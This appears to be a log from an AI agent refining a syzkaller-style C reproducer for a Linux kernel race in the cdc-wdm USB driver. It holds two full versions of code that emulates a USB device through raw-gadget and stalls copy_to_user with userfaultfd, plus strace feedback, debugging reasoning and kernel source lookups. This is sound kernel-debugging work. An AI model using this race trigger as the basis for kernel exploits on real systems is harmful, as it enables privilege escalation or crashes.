3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Current Strategy: An analysis of the failure reveals that the `raw-gadget` driver rejected the `USB_RAW_IOCTL_EVENT_FETCH` ioctl with `-EINVAL` because the device state transitioned to `STATE_DEV_FAILED`. This happened because the gadget thread incorrectly handled the `USB_REQ_SET_CONFIGURATION` Control request.
`USB_REQ_SET_CONFIGURATION` is an OUT request (or zero-length request), which means the host expects to send data to the device (or just complete the status stage). In the `raw-gadget` driver, this sets `ep0_out_pending = true`. However, the previous reproducer called `USB_RAW_IOCTL_EP0_WRITE` (which implies an IN transfer) to respond to it. This mismatch triggered a `WARN_ON` in `raw_process_ep0_io()` and forced the device into a failed state, aborting the enumeration.
To fix this, we must use `USB_RAW_IOCTL_EP0_READ` for `USB_REQ_SET_CONFIGURATION` and any other OUT requests.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, ©);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
Feedback: The reproducer timed out after 2m30s without triggering the crash.
The strace output shows the program gets stuck in an infinite loop of failing ioctl calls:
`ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`
This ioctl corresponds to `USB_RAW_IOCTL_EVENT_FETCH` on the `raw-gadget` device (`_IOR('U', 2, struct usb_raw_event)`).
In the kernel's `raw_ioctl_event_fetch()` (`drivers/usb/gadget/legacy/raw_gadget.c`), the ioctl returns `-EINVAL` in two main cases related to the `length` field of the user-provided `struct usb_raw_event`:
1. If `fetch.length > U16_MAX`
2. If `fetch.length < event->length` (the buffer is too small for the pending event).
It appears the C code is not correctly initializing the `length` field of the `usb_raw_event` structure before calling the ioctl (it might be uninitialized garbage or 0). As a result, the event fetch fails, the USB gadget emulation gets stuck in an infinite loop, and the target driver (`cdc-wdm`) is never probed.
To fix this:
1. Ensure that before calling `USB_RAW_IOCTL_EVENT_FETCH`, the `length` field of the event structure is explicitly initialized to the size of the allocated data buffer (e.g., 64).
2. Ensure the USB device descriptors provided in the reproducer correctly match a CDC WDM device (e.g., correct bInterfaceClass, bInterfaceSubClass, and bInterfaceProtocol) so that the `cdc-wdm` driver is actually probed once the gadget is running.
Reply: An analysis of the timeout reveals that the reproducer got stuck because the `UFFDIO_COPY` ioctl in the `uffd_thread` failed. The `src` buffer provided to `UFFDIO_COPY` must be page-aligned, but it was allocated on the stack (`char page[4096];`), which does not guarantee page alignment. When `UFFDIO_COPY` fails, the page fault is never resolved, causing `copy_to_user()` in `wdm_read()` to hang indefinitely. Consequently, `service_outstanding_interrupt()` is never called, and the bug is not triggered.
To fix this, we must allocate the `src` buffer using `mmap()` to ensure it is page-aligned.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
exit(1);
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
|
| 272/5 |
2026/09/11 23:10 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 9018
output: 31
thoughts: 254
Thoughts: **My Thought Process Regarding the Reproducer Timeout**
Right, so I'm looking at this feedback report, and the primary issue flagged is that the reproducer timed out. That's immediately concerning, and I need to dig into *why* that happened. My first port of call is always the `strace` output, as it gives me a low-level view of what the system calls are doing.
I've spotted this line: `ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`. This is telling me that an `ioctl` call failed with `EINVAL`, which means an "Invalid argument." The specific `ioctl` command being used is identified by the macro `_IOC(_IOC_READ, 0x55, 0x2, 0x48)`, and the code snippet here reveals that this corresponds to `USB_RAW_IOCTL_EVENT_FETCH`. So, the problem is rooted in how we're attempting to fetch events from the USB raw gadget.
Now, the feedback itself offers a very specific hypothesis: it suggests that the `length` field of the `usb_raw_event` structure is not being correctly initialized. This is a crucial piece of information. Let's consider this possibility seriously.
My immediate next step is to scrutinize the C code where this `usb_raw_event` structure is populated. I'm looking at the code snippet provided:
```c
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
```
Okay, so `event.type` is being set to `0`. That seems straightforward. Then, `event.length` is being assigned `sizeof(event.data)`. This is where I need to pause and think carefully. What *is* `sizeof(event.data)`?
I'm going to look at the definition of the `struct usb_raw_event` itself. It's defined as:
```c
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
```
Ah, I see it now. The `data` member is an array of 64 `__u8` elements. Therefore, `sizeof(event.data)` will evaluate to 64.
This brings me back to the `ioctl` failure. The `ioctl` call failed with `EINVAL`, and the feedback points to an incorrect `length` initialization. My current understanding is that `event.length` is being set to 64. Is this the *expected* value? Is the USB raw gadget driver expecting something different for `USB_RAW_IOCTL_EVENT_FETCH` when fetching an event?
To definitively resolve this, my next logical step is to examine the implementation of `raw_ioctl_event_fetch` within `drivers/usb/gadget/legacy/raw_gadget.c`. I need to see how this function is *supposed* to interpret the `length` field when a user-space process attempts to fetch an event, and whether setting it to `sizeof(event.data)` (which is 64) aligns with that expectation, or if it should be a different value, or perhaps even set by the kernel itself in this scenario. This deep dive into the driver code will be the key to understanding why the `ioctl` is returning `EINVAL` and ultimately why the reproducer timed out.
|
| 273/5 |
2026/09/11 23:10 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl_event_fetch]
Results: map[SourceCode: 615: static int raw_ioctl_event_fetch(struct raw_dev *dev, unsigned long value)
616: {
617: struct usb_raw_event arg;
618: unsigned long flags;
619: struct usb_raw_event *event;
620: uint32_t length;
621:
622: if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
623: return -EFAULT;
624:
625: spin_lock_irqsave(&dev->lock, flags);
626: if (dev->state != STATE_DEV_RUNNING) {
627: dev_dbg(dev->dev, "fail, device is not running\n");
628: spin_unlock_irqrestore(&dev->lock, flags);
629: return -EINVAL;
630: }
631: if (!dev->gadget) {
632: dev_dbg(dev->dev, "fail, gadget is not bound\n");
633: spin_unlock_irqrestore(&dev->lock, flags);
634: return -EBUSY;
635: }
636: spin_unlock_irqrestore(&dev->lock, flags);
637:
638: event = raw_event_queue_fetch(&dev->queue);
639: if (PTR_ERR(event) == -EINTR) {
640: dev_dbg(&dev->gadget->dev, "event fetching interrupted\n");
641: return -EINTR;
642: }
643: if (IS_ERR(event)) {
644: dev_err(&dev->gadget->dev, "failed to fetch event\n");
645: spin_lock_irqsave(&dev->lock, flags);
646: dev->state = STATE_DEV_FAILED;
647: spin_unlock_irqrestore(&dev->lock, flags);
648: return -ENODEV;
649: }
650: length = min(arg.length, event->length);
651: if (copy_to_user((void __user *)value, event, sizeof(*event) + length)) {
652: kfree(event);
653: return -EFAULT;
654: }
655:
656: kfree(event);
657: return 0;
658: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 274/5 |
2026/09/11 23:10 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 10014
output: 57
thoughts: 83
Thoughts: **My Thought Process Regarding Device State and ioctl Errors**
My immediate reaction upon seeing `raw_ioctl_event_fetch` return `-EINVAL` was to flag the condition `dev->state != STATE_DEV_RUNNING`. This immediately brought to the forefront the possibility that the device, in its current operational context, might not actually be in the `STATE_DEV_RUNNING` state. My internal diagnostic process then pivoted to understanding *why* this might be the case. The most logical explanation that sprung to mind was a prior failure event, leading to a transition to `STATE_DEV_FAILED`. Consequently, my next step is to meticulously trace the code paths responsible for transitioning the device into this `STATE_DEV_FAILED` state, as this is the most probable antecedent to the observed `-EINVAL` error in `raw_ioctl_event_fetch`.
|
| 275/5 |
2026/09/11 23:10 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile: IncludeSnippetLines:2 Name:STATE_DEV_FAILED SourceTreePrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results: map[References:<nil> TruncatedOutput:false]
|
| 276/5 |
2026/09/11 23:10 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 10153
output: 40
thoughts: 30
Thoughts: **My Thought Process for Debugging `STATE_DEV_FAILED`**
My immediate instinct when encountering an unexpected state like `STATE_DEV_FAILED` is to pinpoint its origin. My first investigative step is to perform a targeted search within the codebase. Specifically, I'm looking for all occurrences of the `STATE_DEV_FAILED` symbol within the `drivers/usb/gadget/legacy/raw_gadget.c` file. This is a crucial starting point because it allows me to:
1. **Identify where this state is set:** By finding the lines of code that *assign* the `STATE_DEV_FAILED` value to a relevant variable (likely a state machine variable or an error indicator), I can begin to understand the conditions that lead to this failure. I'm looking for `if` statements, `switch` cases, or function calls that might result in this specific state being entered.
2. **Trace how this state is handled:** Once I know where it's set, I need to understand what happens *after* `STATE_DEV_FAILED` is reached. This involves finding all the places where this state is *checked*. Is there specific error handling logic? Does it trigger a reset, a cleanup routine, or a system-wide notification? Understanding this is key to diagnosing the impact of the failure.
3. **Contextualize its appearance:** The `raw_gadget.c` file suggests that this issue is related to the USB gadget driver, specifically its legacy implementation. This is important because it narrows down the potential root causes. I'll be looking for interactions with USB devices, configuration changes, or specific USB events that might precede or trigger this failure state.
Essentially, this initial search is about establishing a clear map of the `STATE_DEV_FAILED` state's lifecycle within this particular driver. It's the bedrock upon which I'll build further analysis, allowing me to then dive deeper into the specific code paths that lead to and result from this failure.
|
| 277/5 |
2026/09/11 23:10 |
tool |
grepper |
0m
Args: map[Expression:STATE_DEV_FAILED PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=150=enum dev_state {
--
drivers/usb/gadget/legacy/raw_gadget.c-156- STATE_DEV_CLOSED,
drivers/usb/gadget/legacy/raw_gadget.c:157: STATE_DEV_FAILED
drivers/usb/gadget/legacy/raw_gadget.c-158-};
--
drivers/usb/gadget/legacy/raw_gadget.c=234=static int raw_queue_event(struct raw_dev *dev,
--
drivers/usb/gadget/legacy/raw_gadget.c-242- spin_lock_irqsave(&dev->lock, flags);
drivers/usb/gadget/legacy/raw_gadget.c:243: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-244- spin_unlock_irqrestore(&dev->lock, flags);
--
